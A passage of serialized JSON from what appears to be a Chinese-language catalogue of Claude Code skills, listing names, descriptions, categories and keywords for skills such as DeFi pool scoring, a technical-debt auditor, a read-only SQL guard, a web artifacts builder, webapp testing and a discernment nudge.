smtp-penetration-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fsmtp-penetration-testing\u002FSKILL.md",true,[79],{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"reference\u002Fmethods.md","REFERENCE","参考文档",3611,"https:\u002F\u002Fgithub.com\u002Finernoro\u002Fprd_agent\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fhuman-verify\u002Freference\u002Fmethods.md",[86,112,139,172,207,228],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":93,"publishedAt":47},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[92],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[94,95,96,97,98,35,99,100,101,33,102,103,104,105,106,107,108,109,110,111],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":119,"publishedAt":47},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[118],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[120,121,122,123,124,125,126,127,128,129,130,33,131,132,133,134,135,136,137,138],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":140,"name":141,"nameZh":6,"description":142,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":143,"categories":144,"keywords":154,"publishedAt":47},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[145,148,149],{"categoryNo":146,"categoryName":147,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":150,"categoryName":151,"taxonomyType":152,"taxonomyTypeDesc":153},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[155,156,157,158,159,160,161,35,162,163,164,165,166,167,168,101,169,170,33,171],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","database","query",{"skillNo":173,"name":174,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":176,"licenseFileUrl":177,"sourceHtmlUrl":178,"categories":179,"keywords":183,"publishedAt":47},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[180],{"categoryNo":181,"categoryName":182,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,35,206],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":208,"name":209,"nameZh":6,"description":210,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":176,"licenseFileUrl":211,"sourceHtmlUrl":212,"categories":213,"keywords":216,"publishedAt":47},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[214,215],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":181,"categoryName":182,"taxonomyType":21,"taxonomyTypeDesc":22},[217,30,218,219,220,185,221,194,195,222,223,224,225,35,226,103,227],"webapp testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":229,"name":230,"nameZh":6,"description":231,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":176,"licenseFileUrl":232,"sourceHtmlUrl":233,"categories":234,"keywords":242,"publishedAt":47},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[235,238,239],{"categoryNo":236,"categoryName":237,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":240,"categoryName":241,"taxonomyType":152,"taxonomyTypeDesc":153},"01JBSEEDCAT000000000000036","内容创作者",[243,244,245,246,247,248,249,250,187,251,197,131,252,253,254,255,256,167,257,33,258,259,260,261,262,109,263],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]